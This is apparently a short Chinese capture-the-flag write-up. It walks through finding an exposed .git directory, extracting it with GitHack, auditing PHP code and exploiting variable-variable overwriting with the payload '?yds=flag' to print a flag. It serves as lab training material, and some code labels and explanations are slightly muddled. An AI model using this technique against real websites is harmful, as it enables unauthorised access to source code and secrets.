对靶机进行目录扫描
发现有.git泄露

用githak提取.git文件

发现找到了两个文件

flag.php
利用$flag就可访问/flag文件

index.php

代码审计
perl
echo "the flag is: ".$flag;
传入$flag就能获得flag
php
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
要求get和post都不能有flag参数,就能传入$yds
php
foreach($_GET as $x => $y){
$$x = $$y;
}
当用get方式传入一个键值对的时候,能把键值分别转换为两个可变变量
当我们传入yds=flag时
通过这个foreach循环会变成yds=flag
构造payload
php
?yds=flag

